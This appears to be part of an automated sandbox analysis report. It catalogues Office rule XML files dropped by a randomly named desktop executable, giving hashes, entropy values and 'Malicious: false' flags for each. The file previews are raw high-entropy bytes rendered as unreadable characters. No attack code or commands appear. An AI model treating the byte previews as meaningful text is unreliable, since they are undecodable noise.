Encrypted:	false
SSDEEP:	12:U/jw/OkI4FMNJ3ebeIV+z0MWUR6w6BdqxuZyIzmjsneaiqO4b0aFg2g1+cii9a:CjUOkIKsJ3RRR61Bd8uZjUsdFDFg2bbD
MD5:	063F7BB5D493FC1B26FDCAAE57726295
SHA1:	C9D73572A54DCBB0C798E352AE3A292A58EF81B9
SHA-256:	A9437508534CE617E006792176A5193578F4C4DAFF5D7EF3E0EF4A94EC0F2B32
SHA-512:	C8F667D20F5430BD048B222F877D13CE4347CC199F6D52C854016A45C382E770F5D45E35AF4AAC66D25B81C76838FC804ECB77F4C7989C10D088E21878A74926
Malicious:	false
Preview:	<?xml)Q.A..}..<....-...j.S.m..af"..#..(..v.[...+.&EV....p`.).-w3k...`.U\;"o.ue.Mf...D...........0ZL..o...f."T....P..p...I...}.2.=.&..G$OwJ3...w,...k.P.D78.O.Lf.6.f.{A..E.4.D.;....B,.&..2.5.....F.l'-...a.......ye.a....h...F..t...q....n..`3.U..-....g{...G..q..B.Y..g+.w....(..]...!....g b.$... .....uwN.+2.7...&:x5...\..9K.Ik.R.iagt.+.CK..J..~!.A.....\d.<..Q.6.p....c...r.."y-.m.5]...$.."C.'.R........).{r}.{..5Q\|.\|....e..M.}'...'^......R5L..@C...z.&.j..........@...^.s.#x..G!?............S.=....g.k.Z...4.m.....^f.q...n..h8.....9;......El....[I.......?Z..K$.M(.....fzf...f.... 9.Hk W..]......x../.v6....b.....@E$.H... ....0...;{s..]7.JiJ..?....b5..c....aH...V.......p.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700350v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.893830883693373
Encrypted:	false
SSDEEP:	24:FJJkFU9xMWs00CFkEf2kCs4kxvGK9ykb4B4WHGT/lAKUS3O7WOAf1z60NiWyfzaN:D2i3E4FJouxtykbhldUzLg1O0NieD
MD5:	164E80CC51F4A7F856724111EFB7C7AF
SHA1:	226D755DF63E869EB7D4ECFBCE097AFBD85F2B40
SHA-256:	261CD53EFC00E8B92741B9F98825D69462BCE794059E8C379B661700D0612AD2
SHA-512:	CB295B2CAD6153EA721B11615FA1B8F3BC8C3921E9892ABA30DF37054F03768D17BBCE1713904CF38BDB09CA8167502E4D3AB5B3F6A4A272EA9DAC74762CF7A4
Malicious:	false
Preview:	<?xmlO..oju..dj..(.'......p.b....M.fa..7 .."':....i.G.m.o}B5b....X.A..].H..P(.Bp.@R.K..p..k..1.LP...4a.C...SE...Nu..w.J.3.toe....0..].....D)`~.Sf\..es;.[".............#...TP...8...l_?W._C/?.H...S(...).......Q.y.h.].L.0Q/.F<.m...y:R.+.1?...A....F{). i6..(..z2f.....\|q`....-...\|.......yE......"{!4b<..c.!.F...P.....3.s.Gd'u.......7\|....L.).b.O..D..G..\fr...p.oB.~i..Av...t./...P.(..k.S.#<Bb.SrO.[v....}...}.PF.B=.h#..u^...c&iWr...U.f5.....v.=cv.;.=..,!.q.n..}..8re..x.`.[.SC....I.l..vh..:N.P}RS..L&.=lO......PuP..A..Ya....i.CM.....T.oS....N.:......3..?+..m>.Y..:....S<+...W.....,...T.F..r.......!..9.]......L...u...e.e..............=$If...#..5-..W....z... ..KA...%."n.....I....2.x..;/..v.<$m?oZ..>nw0..quK..Qh.H.>....U..&>.u......HS......z.....,..B......\....]..d..?.......D.....`..S.=.D.Y.......9..:........,j.V8..UHqy.Qe<...........3jO..h...B.O._.......$..\|._R....L...=E...'...(.......4.hjDW...-@r. .z.5.-C..4..Y.y.........\|.`/>.......8...g.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700351v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.87735729738563
Encrypted:	false
SSDEEP:	24:S9OqWwaFtayL5ok+y31Bq7pDB6aPUAjSCoMynlWUgZQD93go5UToJnxJv5hp7Jhf:nqaDVz3ApDBjPUAjSuMtg1k/5hp7JhzD
MD5:	BE6F03B327C1F071E2C0C2BB945FF054
SHA1:	1A491C30815783283497B6D06D608131CEDB9E35
SHA-256:	DCC579ECCBFA88E53DA687841364DACB777C9E8FAE526520A47B13C42E75CD18
SHA-512:	8ED9002E0DE4A835EDAA2CB172FE78E8B60FB79EFDC0906BA872B9C966B8CDA905033C5497AA55B1B854C5D0C779E678011A9BCB197F64B3600F2F934249D911
Malicious:	false
Preview:	<?xml;.Z....d,\|....._.<.....\........`Q....&..bQf...j...&....V...y...Cew......U.K.>.1.a5...NK.G. 9'.~...............'.'.....&>p....@Z...o-.DJ%.L..r.o....?..C.P....j.......\|y....0.rY..=....#... .r.."../...i..s....9C.O..Qx.].G4U.3].y".j.......1...q.G....R7.-..&....T.....NS.s..r.2.@Z>C..5...T.....6...?.IJv..s..v8.R.x\|.\|O..Xq.9......H.x.Y...s.2.J.DP.\|. ......x.u......u.2...>..J.J.1......;k2.....u.n`.R@..:pVE..<.4...y.\<U.v.....e...su.-...w.4.+.^...[.2...]..b......1...3..u..m.y...@..5^.. 4.....)"J4b_....m.B4.#.gC..[9.."Y.....,StG..X.8{....F..K...P..C5f.5.r..W..>$.}...ak.m...Y/..TC.....$.......I.e..u/7Ww..u'.P.M.-........tm..1Y..h..B..%N.\|.P.<......?..._..(g..b.6...&%-ALg..)FZQ.8.I.&....c..Fm......T..66.l.o5lC...xmuL.M.J...h..1.`.....}......q..k.X..!..r.......$........O.MT..%....h.....8+.[...bJ.....o%..SqK.F......X...\.6.......N.....7.<.Y.a#..7 ..u...v....`.....H.b.n...I!....."M=.3.......2\[.N.~.....(....i..._...fsm..i..h.M....r....d.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70036v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.709970791338179
Encrypted:	false
SSDEEP:	12:MxVrqq+HIg6zsjCI0b3YfNVF7VHbMJ4iXabEkKMkuw/Clfsy1JezR1+cii9a:KVamcRqVXG74CJ1cKbD
MD5:	F6A18EEF623E09242DD4D67D24630710
SHA1:	040A43A1593CF590CD8E5F5F2242472213094FA2
SHA-256:	3F41E5D669FCE03E91FDC368581438908EDA9C2E8D481FB4042628B59EDDA964
SHA-512:	55DEF460EB6363DDCF1CF8C939B1D2F9C58BECC50AAEF3FF64A743FC326352B288B7B3CE044E6869A8E7FE77160DBD4153B37AC0A60788F12B21F43F223EAB72
Malicious:	false
Preview:	<?xml1t....'S...l.::-.m.*x....CoR....S&.Q......W........Rx.th....T.U.P_..]..."p~h.x...........S..%Dr....YN$..Y_(nW......Y..m:F.<.".3.......%$.....+..y.....3........e......#G.....2.X..............Eaj.......7~....F5&....`=X.....HD'5.........,..B.L...j....\|@...n.r..M.){(.+.q.f..~...U.0.o.7L...bw2FN.u.e......!0..1..)<d....>R.!.[!.......Yb"......a..F...A-}...%.#j._J......T.4...o(...8p{.Z.2.Jru........:J.........V..ab...h....Jc?.B.o8. (Q...."....?&.OR.2.=j...YX...Q.:.......1.C......X$t-.9.......H....d)....m.Ip".m>.vB....V}.>...&......\k...o.7P.C"...l....@.C..zU.w.xxc.p.....`...=./^)...k;9U`........Zr.[f.-p\..p.m.b...v.D..{.........b.o.""...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70037v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	773
Entropy (8bit):	7.743741813586844
Encrypted:	false
SSDEEP:	24:afxLqtCtgsIGw84hpSXitWA5giw8J/Vo1WJ11JDbD:o1qtCdcbhpx7gT8hMotD
MD5:	DCA5717A7D3D620FEC0865C210EB8AAA
SHA1:	D53FA728416FEC87FAC1C7E533D7DAA6F38CBD70
SHA-256:	6D67A93DDD84CDE29C0547A61176088408D132B2F6E0B0F0594F3A52A8F9F90F
SHA-512:	F7FAABA67C5778161664B025BC765F96A26213A0270816350FBC1278EEB2B008BB669CF47DF9F61001A6E5F28D081535EA931E3F622C763257E0C50EBB34473B
Malicious:	false
Preview:	<?xml.l...4.......\....?r...P.?u.3.'ij..F.!.=K...g?.H"H..=.$d..j...X#..&v..Lu3X.0c....x.h$...A3yeAt.W.k.I.,..(..f\....X%.k....4+.55C..\|.X;B.....(.6..=...zS.w8.CY....0...h...H.g....8.Gd.O....E..H....h0r..:G..$5.].(m.P......G...P...8.......3v^Tl.h..D.I...."..L.q...3...+....o..V... .c@.j.yG...pZ..E..._...iUv...I._..?.!.+{.R..)...-...........L3.sV..Y....o.t.{>.t.G.`..\.`;...\|g...3v......1...Y.zE@.:...4lJ~.$6..Fg.....G..^......U....x..R.....t.k4 .{'...80i.x...H.M.S.)....~.]...C7."UA...F...#=.B.z...:.SaKZvO....\...ED8..../.!ge~9.!%...Z.n.t.^..].pGIg...l^5.............g.. ..d...S.!h.fr..q..T71.;Q...`ZD).....D.s..'N...{...N.x....6......6..oT%......U.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700400v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.888056656455644
Encrypted:	false
SSDEEP:	24:SIRgup6hNB+yBAs5b7DNRY3Sc0rh3DcIdvD10wG3HQngCEfpuNV4HuMGX+Hoeo0+:SIR96V7aSc05AcBDwwngxhu47o0mD
MD5:	3816EB18CAA831E636D40BF2404C364D
SHA1:	74A71629F2F296A0B498700838A0E2224B49BF3D
SHA-256:	7D15803A42E77B17A5F3D91B09A0F1296346208A81813D224070C2C40E864EC7
SHA-512:	5027C797B4017CB575CD4CDAE43F7941CA05F1C8D2E32325863A66BFA8D27135225A41288D8EB1DD98AA790F5135B323725338B3CBC440EF0931E7A832E4E12D
Malicious:	false
Preview:	<?xml..!.....WE..X'.~.o.Y.S?6;....w....9...6.r}..{. .y!!V.'a..'(..........d.RIw...kU...0.bX.....km '..VI.........u......$'.....J..cr...4O...;..@............QGuS....Y!,>z..z-+4E./U.be&+>. ..6.c..Sb.."...\-...7..{..5v...`.,p.G!..r\.`. ....).7.....-e....t.ka.~...:m.;.i.....&cK.\|...Z.P..Y0W/).I"...28.....{....tW.E."^t......\].8{..mG.`}L...s...w..i.....Pb.w.s$.P.....H~u....F........0...g<;c.O...._..J..;.#!.........7jg.....fP.Y..G..X...y.s.jr.i/.a..b.8O..u...i...7..Q"...x...F..}.U.-Wt.@..%w..2)D.,.+.v.......Y.....X..S....B.#^.Na.0o.k.%57o..]..Sz.UW.[`.U.,...8.....(.v.-A..R\|.E.W.....T.....Xe.m.d{..Vv...E.$2.....f.L...W.(_>.}.3.t.-.......oK..1..?.J....>.&N........[Xi......s`._;..}.c.wC..@..J..}.s.....:"{...6.....x.....6m...V.,.Z..S..3..\|.ZN\|....6_....,Y.gb.9R.g...y....<..>.+MG....qB~=kO...g.....U.Z....?L....u..B.f.t.]..f,T..7w.[......&......>.,.....j..\...0;.B..q.9. \|..L*..=..S'...Y.....5..X.(t....t%...<.\|.b..].e.%L.?...`k....V7\|a..r.E$'..K.R.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700401v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.888238507609776
Encrypted:	false
SSDEEP:	24:eMuMXKa+VnpYSjBywPQiTIx5ZLoDekB5LaWYdL3wSqwnxu89b811UX/N6EXO8SHz:eVMaasYCCfZEFB5GppFxu8i0FwieD/vD
MD5:	91C5E9E77B3BD0C7EA92004EA3011D51
SHA1:	58BD055970982D25DD384DC873EAEA28DC597D28
SHA-256:	0B4AF1D59174D4E1ACD785FE93FC30534ECDFCBAADDBC8A3D88E126798B155E5
SHA-512:	C2D6B50CC6F55627340721B6D9BD77FF72031276581752AA0513D9E9A607BC2DB0D173877D1D08AAF9445B44B75C8DE0EF62C815F8D60684B0548B40DD606E77
Malicious:	false
Preview:	<?xml'0,.....M....v@.6...3=b..M3fv....2...._x...a67..g~%f] Z.?F.u2W.9..q...;....CK.cU......=..K.......\..&w......=..Ex..f....s..L}.".....u..O.7.F..<.!R....k....M.?~.;..z...Yt..Y..L.!.;....<..j..=..j....../.....k3Z].......U,..[.....1...].jY(........1.....Q..y.'......)%.b..........~.%e,.5.WH.6.a....D....G.....&...R,..B?S...0.o\|..6.z..Z..u;O.;.A.P.E9..g.&K..z...f.@P.X..."A0.....))h...I...:!..#..E...3W5)q.....L.X. ........[.."...".P.......:bo@...E.\.,\|.).6V.~.~...[\|.n..Y.F.....".....8Z....5./u.T..B..&.S..;..5<.....b....... ..y..\|......B....\|..@....7Q0......q...1[N.B..q.#E/UC(._...V..=#..6\I.\o\|.5.t..J.;......K..::...,..'....a.j.-~%o...o....o..q..b.?.pa.\|F...y;..#-.".......T&........eJ/Y}g#...v..gc0._}.1..R.,F[w.3....$...tq..'.(.C.....Z.DP..?.r../z.......\....tI...k..~xp.!8.".......O.\...3.a'.8D.....N....h...p.W.=.b}....g.g\|.......A%.S:'...G.up..^.28.Gh8.cx>-.qzX....mPj^..l.P.0.4..D...:...7....%.........+.B..\{"H(.7.X."^...~7..i%.K.P.Z.....'97...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700450v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.8749815470748805
Encrypted:	false
SSDEEP:	48:hCJ87VSOpfFtUX3IzrQ/Yry032ZyKjbqD:UwS2oYzrQgry03pQi
MD5:	51427D4FD7D7E7139B22FA0F371ABDB6
SHA1:	3DA069778F010A7ADD7D932394F8CA95038E0BEF
SHA-256:	D36F1B211643DBEC646CE7F33A24A96E9EFD744A2B143A386C49F879EB7298AC
SHA-512:	150A8A048F3CD65126DE80D13E2797A0BEBCF00C636341858A637DABF3723CBC873F084CA0A9C87B53FCBCB165423D287FE18A78FBC75A7BAEB7C9A15769A5AE
Malicious:	false
Preview:	<?xml..i.&P.dD.7.M.f}Je\|..W.cNR..{.x;.'.s.I(<F.j-...8.[.z.c..p..cc,.)..\V.=......u..v.3h.'.\r]S..........V....bAB...e...gbe.wh.........M..d..f-.J...y.....d.?@6S..A..Q.D.j+..PS..\|.T.8H..... .....j.l..}5....D..C.../..).0....g.TQ.0I.....y..h.[......t..j@4{.,V..zQ`L.V.p5..P.=...L..j....5.....&$.5Fl...r."z..r..<W..L...;....C.."...75...=...."....X..>rqZ...[.t`.';..Q+....<.J.....}.;).y....._+.k..._..y.D....#.E..... ._./...NO.K....2vL..>/.mQ..-.....W..u..O..4F..{.3Pg72c..\L....0....&...&.iqo2.........4.......o.Sf...e.!U7.......N..P..HW.~^"-.k.....Q.....E..TG..e....`.<Q..C..3..4'./d.fl....S.@#i........b...o....W.#\|0.i.y.Qp.E....sP,{.<]......)D..W.z.>.v...dLV.g2...<..".p#......Fx.r...JK..._.......;..g?...L...d.x.:.]m.......w%..ggD._.e...s.{.CN.J..bUD...~..L.)...0..E+.@5........o.".u..........W..m.RJ....Mf\|j.&_.U........^..YZ....Ely..'.T...E.-..a.......I(...0..8.R.\|.~...5.._'......#,...$o..)=>..a......{&.9.9..8...X.B.Zq.^.w<.3.y...b.AQn.n....es.1..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700451v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.901192788973811
Encrypted:	false
SSDEEP:	48:Pi359zkGh0/mVTppSXwXxIUJhDk9d5Rnck0scjJPt6iMkD:skY04sgXbcBRncxscyib
MD5:	5EDF24A603D631D2D7453D0EDD598AC0
SHA1:	8FE5794385E18CA8248E0118D49B02C603AA6A1B
SHA-256:	A42ACF52A9A46AFE06CE01EE93B72939FF26140D56E9462380906877298D73AB
SHA-512:	FAFD17B4114A633F01BE4628375CD09549DEEED516548439AF1AFDD3CC5626F24A9F959061418B019BBDF20DF82BBD564F932DC962947953E4AC811BB28A61CE
Malicious:	false
Preview:	<?xml.@.P.E.ou.'&N4.........<.h.FD..<.0FJ....yQ.....%..>....t'C84?z...K.G.x......pXv!.JB..D..Q...xv.w..R...P.........x...-n{Mw$(.G]...-...<d.I..!....I..$rS..R\..C.ZW.c.....mmT.a...a..^..+.....z..Bzhv....c...] ......$..<..5O.....p..L2R.A.m;;.\|.....!...]........j.vM.....[7k...~.v.s..^.>j..3Y.Q.=...`.....[..b...... XRl.%".;..=v.w..8Zs0..X.."E.wp...$.[nXSq].Dc.t.. V..~.u.B.W..J.....&..a_.3....._..I..".m...A=...J..j p=....N...1.,...@....V..S...F.....2..S.x...W[a.x._..i.e..s.... .d..&X.P:.c^Q...tj.4.hBVWl..)a.\..0c..H.gT{q^m...=<..[.=..b.c.J....r....U...h8.U.#.7....>n.2P......`...2...Ke...TlP2..7...D`.P..y.5v.\|.....7........rS.V.Q.Z..!..?.t.N..x...F..=%..>....y.'...5.u~...T...0z.$g..X[..<./{.P.........F....n.f...........#H.w.@!.g.W..W.&D..J.Y.....{d.N.MN.7.....@..&.....K.)[.E...w.....!+o.ba..............9$c.Q.....1(.9OP.VYL...1..)..v..s..0..r..)~..{...0+9....U:.{..=3M05A...m.......O,.mx...b.A.\5.6%/6.........a.<.5Fn.W..{t.8.M;9...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	321907
Entropy (8bit):	6.628904193583564
Encrypted:	false
SSDEEP:	3072:dpaWQ8i46XJepPUj4fXzoxCJPn/UBcGZZo3CDnY/n+AWY1:dPQ8i46XJW/fzoxC18njnY/H7
MD5:	9D52430D56034CE010261F7BBB0EA33B
SHA1:	D0B6EE47921DA31510B54544CC617A57013EFCAF
SHA-256:	DBE899075C3ACE6A5910F3C5FC35A03EC568CABA7601DF569BB924D10740BECC
SHA-512:	BC86215C31C25D422A9692A83EDA2D60C250003091BA07D7F7E6A3C40737DD02D2F863B24D7307B707F5A12A4B11FB0E65BEC5DD04F3FCA68F5CEBC38FCCC866
Malicious:	false
Preview:	<Rule6......-~..&..#.l.9 .....QI....!......"...K.1B...Q.f.V&K.oP........q$s....^k...w...L..q. ..x.u....O....h..q..c?...(U..f.p....@.]5.R._.(`.}{~.#.l.!....m..D.9e.(.J.)..K.X..Sjh......Ah..X.e.}...r...`!......p.`.~..M.q..?......H..TDQ..N9..[...$..[.`=.....a....R.n..ymd.^..j..`..!l#...&....#7[..w.......I=?tT..u],oU..T.H2E).K..]^.<.N.y..P..h.......hr.-D. ..#......\| ..f..Vp..9`.L.......\|l7./..f,...i.kL*1.S....Bh...F..9H.+..m.n...T.........Y...36..e2t....B.Q..T.5.{.%U.....58..]....A..Z...'S..G...R.i..'.HLc...F..Id(.[^.....[....V.].e..=.&.'.@.....Ne.G..:.sr......w.......p/.....q....$.E.91...-....R/C..Yh4..1....Q..f...\|_..?C.8R.V....%.."W....c.O.Q.<..k...5vC?./...."...#.d..f..gn]..$.j.....5.9(.l?.`..pE....A.iu1+...T.`.....s#h...1.k]....X.;LB^..%u......]CG.....N....@D..v.x.!T..T...2h....n..._.H...._<.2..x{S..O.E....&u...]+.j5..c..y.Z.M<?..}..._.A..o.O5.]P.T.5......g.y..'s..)b[..@.+i...gV........~.-(...#..:...b;.X....".,......0dAA...E......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701251v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.899146453557315
Encrypted:	false
SSDEEP:	48:eQjVIQTq2DZ57UFtHs9us3uqr8g33gdjqM3D:eQjVO2DZ5gHs9us3uqggAdjXz
MD5:	23F36B46F6E6131131E45CCAB4229B98
SHA1:	F3F1C786D593FB0A1B80F7BBCB94310EF338E4C0
SHA-256:	F4F906255812575AD41415D4BE2B35AEA7AB6F3D72797DB688193FB73C126CB6
SHA-512:	0382E9040B0A73951571CA7DA4BBA6714225620538F400760A43EEBB5061BEE15BD9AA384F9378033F2941EFB48382676556494A5A469FA4B2EE3B63DC0BDCC2
Malicious:	false
Preview:	<?xmlp-. .s.crg^.k.a._..[..T.f..$.8..J.\|1}..E....wtCO..s..V%:./7.\.#.....U,..l.......v..9.fH.....O5...H.....=e..S3.y...\|.2...5!.z.8.=.....fc./.#.....C.c.64.J3.F.f.DZ...V<t..d^....4....h..10.....]=.._y.[..T'd.f..Mb.;'~.j.N.G...(.S.p.?...y>.7.DK..F.?1`...H..<+\.'.....W.MoSB.4.I..\|..~..\|....+n.k..@.....dm..f....wE.Y..v...,...i....FG..'.....`..y.....1i..Z...G.8.,.)....u......].i.].........U(JZO..9L......G.qr`..~#..p.=..{..W.W.........C=..L.U.(.d..0.D.JX....`@.]....5.g.?..+3.>v.....+}!......N,..\.!....j....e.v..".A..}^..[."x...=.V+...Q.0.....E....g..........T!e[A[5...;..~!._.s..~..'..{/.....pp.t.o.zs...V.g"...u.>13..'.Z.n....d......Bz..8..%..8.&aS...0f....Q.C.....Y9Y.(..KW..Z..F.......<..U........=@0.]+.._.1H..Y..u0d6.....o..WH..7..J.z.......Fz.~j>E.2..o^..QYa%.....j+Z.\...+R8.J.7......e.......&...2P.X.s.<l...._..........[I.p%...#".{.es...M.4.Qk...P.<Kr~%....).5.y......CP!.j&..=...^....k..j..CA...Y?4f.....Kk...NJ...p.].......)...e.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701300v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.879416583288458
Encrypted:	false
SSDEEP:	24:kZxwHmY6u7HOTz92U19p1ZjXKTBiBxydorAjmb7IhXoTllPPd1bIHcbD:PHrBHA92U1XHSiCKrAjm3IBoXP11Q2D
MD5:	A5B8709442091F0C96DBA171F4C3C1E0
SHA1:	73963526F78AE0A821A35C6F0973C62412B3462B
SHA-256:	B6E3281FF0744276B128DBE63D8AAFCBBF31404E4A0D6CD13FD4C031D358F71A
SHA-512:	D2F33D1DD8576EFDCC4F6F8CFC2745EEB7FE230A6B9502ED69269A2AAF21170E0F0EDE5293D747F4C1F4992CB78A200FEE67ADDB2BB5C4A33E3F4EBCD7DD3E54
Malicious:	false
Preview:	<?xml.KSEF:.D.-~...r.B......<.o9Z...A........+O;....]..:....:.....2.&........w.,(V....G....%._.F..Gd.oj....1 %...=.....H..k..EH.fpz@..<.".x.\|....\|.E$r 6 zx.....j.......%.Lg.......U.D..JK>.\|XE..o.F!....4...5Gg.m.<.:Q.$.AV...+.Q...B..c...i..Y.:Q9.UF..i...N..\|...........x.(M0...^..+....$............^.2..!...;.FDM...+.+.f.is....D2%.r~.....S....x\|...H.j.!..%.~........i.&....].,PC...,0.....z ."[z...;.....asG.....j.wo........I..AgV.]..7Q....A..8n2.6t.>r..8..1.....@`."....\|.q..A..9...C...f..I..C.u.f..P.OH~=[4.4@..^.:.8..Swl......Y....2.@..;.l.q..0.wd.........<.@b.%O[.}...F....]o'.e....x...0m..x.......D.iq..U..L..`..........."CMc!.h.qh......_.....pD12F..O...Up..>...:..B..>.z.Y..K..5C...9v.V\/_...7.6..f.{..j?z.....S.....0M.nX..p.D...r.;kK..\..~.Q.g...E@.@...^#..<.....?...p.gxB...H`.. o.H....x._.n..C....y.z.%Y.K..g.Y=.S\.ED.O..It..\..bYv.o....?.H:G...F...\|._O....0..[..5<<..A.=.....3(.M...\R..,\....UK..K6..(.$:..........".5.Mx...m.'U.:...~..PY.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701301v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.898238311451577
Encrypted:	false
SSDEEP:	24:jVqlrdWwCno7RC0r6x3UA1QzTnCQXSzMDUqZu9lPVBLuyR6RuhiaSsKkokZ24UN4:c1+o7I46hU5XSzgu5oy6WSHkU4zfD
MD5:	D750950084F30B4C9771A125DA19EC92
SHA1:	FD4DD06D854203CD173E25AFD4B441A387BB3D96
SHA-256:	E111A90FCC9EFD52626683EE366CAEF9DBFABD361BD7E82E0110382701018871
SHA-512:	44BC6E3346F8C24A3D7132AAE8A2BC7F0FF8A205CD7EC46CF2D276AFE1BB9B86033C1C3CEE86362F367101DE97E2D3D2A437971B85AB8623ACA0D4455FF13BF3
Malicious:	false
Preview:	<?xmld...s.{...={~..3..@#vT.e..d.K>.....\}!.Mj......... .m...}....n._e..0F..=..k.`Gh<E%..O.......\.k.PX...x<......M..[h..b..g...RP........U-...M}e..'.....f].[...._^..=.......(......{..{R......`t'qe.s..B.....&....v....7...,.>....7...T..q.=..L,.....L..O...R[.6c.b.R$.^....@.........Svc5...\7.#0..w....s.8I.r.......x.+O...z.2.....i^..R..b.....0Ev..w.F...$..vq!3.....X.8p-.E..C^.....-.......E..[O..Q.G.l.Sw...K.h...E&Y..^dB[.G]...5W.QL....\|..[.]..3r.N....Y.:8..S....5.QKUTm_)..L..Su.?4.U[@...`... ...4..:.2....TJ.}...i.>0..6.U......s4..!.{1..q..q~.6kRI+j.)..zK.8......._.s...o........V....j.............0..yK..5.T.E.3....bo\|.D.k.GTF....)...".Ko.R.../..M..B...-.L..k..f."..3..]..9.o.............../TjC.L..Uw...H........''g.?...S...3(C.A}Dv..8.....D'B.j~u...Z.w.3...H.D......p.I..._...#...;....g.#...k1c1...b....\..u#$.Rv?..Q.....4.....Y.h.$..C.k.R%....J7...S.-0...-...?..h..7...:..~pP(.[`.I..w...{.{g........D.....kCb..J...E.6.$....&.........;"..e...c...n.....,!..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701350v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.885899400571221
Encrypted:	false
SSDEEP:	48:piOFjUhERNoAuW9e3fHYBYhRi3jzUwJsW9DF5jN+lz7jbi6NeD:piOxUSRZev4uhEzu8nYlT0
MD5:	A39A0B2DB790BE698AC7B4ED4183C510
SHA1:	6ED5010A68F7549107DF79522A73B540614BCDD3
SHA-256:	A55EF5387C217467D650FF60BFF13DB20E4901E97C2DBCC648401A2DA576C4FC
SHA-512:	BB22D76F187BCDF94846F8CEDFDCFCB9B7C9A6D05EA53BF53AD2BF10518D819FC8E964603BD3B6FC8083CD1FD4872D665437446958EC727490946B58A435EFB6
Malicious:	false
Preview:	<?xml.9.B5.....{..c...3H..Kf.`?..).1..).....g.?.7.....o...&<%My....Fz..b..Y.....>M......B...I.8..L.0.....Ba......].K.,...,.m..Kf.......vz7..`lA.Z...z4r....B.7!.I..&O.hn1-xDI%...y.c.Ag.MM.UOZ..... C[s.l...3..4.A.3...x.e.....n3.Q.^Q`....CSi.t~...%..J<..E...Vt.:.@V......p:..8.../tHY. ..!=... .;.V.z.2.1...g.%..r.v.m.b...$..}<....a:.5..w.R.q.fO....r.T..+.7xf...X.'......-..... .GQ\.o.a.B.-_....9.{.Q..3.2......H..y...Ygm.....Kd:.......$Uk....v....]/f.rR...=..58.=.3...V..........N4..B8...K6..N.QHz....7...a+.n}..q..c..&.W.}:I..X-..Rf.h...k....?.7..{h....<^..or."....?3.6.'...k0...J.+q...3...E1.If.8bR9&.e".7.iX...m..ls..}..?.m..0.......".[..4...X.....x.sP^<........w^g.X!.Qs.$m...D=......B}..t.k.Ix2..ok+R.I........Jc{.../z..z+PT..'.....o].,.!.S.LcW..W.8.){.#..o..sv9g.w.........g..0...}.A0.: ....F..[.l....i.C...!.<.....}..Ub.*.H....>..xg}.....E.C.Jz.\...\|...:.f..6."r@...X.U......)V...N.^`d.@..qt....V...j./.G<...:.I....?..K.i.8..........M.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701351v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.890066830945126
Encrypted:	false
SSDEEP:	48:J5uQfcP4l2hQqmzqQzVcyogSI8NAEgmrTUznKD:J5Z0TdmzIy0Imj0zC
MD5:	9DFFB34B80F22BD2A03031DBED0896A5
SHA1:	CB999227A70B2D3297EF4106B2638AC431F99299
SHA-256:	04FC6D735E13BCB339DA20826DA0140111DAE7D0BDBBD5697F46225F7721D3F5
SHA-512:	2FE41075DB950AF2B4DE3DC9D778452C51D8EF9867963BCCBCA819261D79D441E9188476F9077F4B987382129F4926C3B2A78646CAE97A51B6606977C2B90F67
Malicious:	false
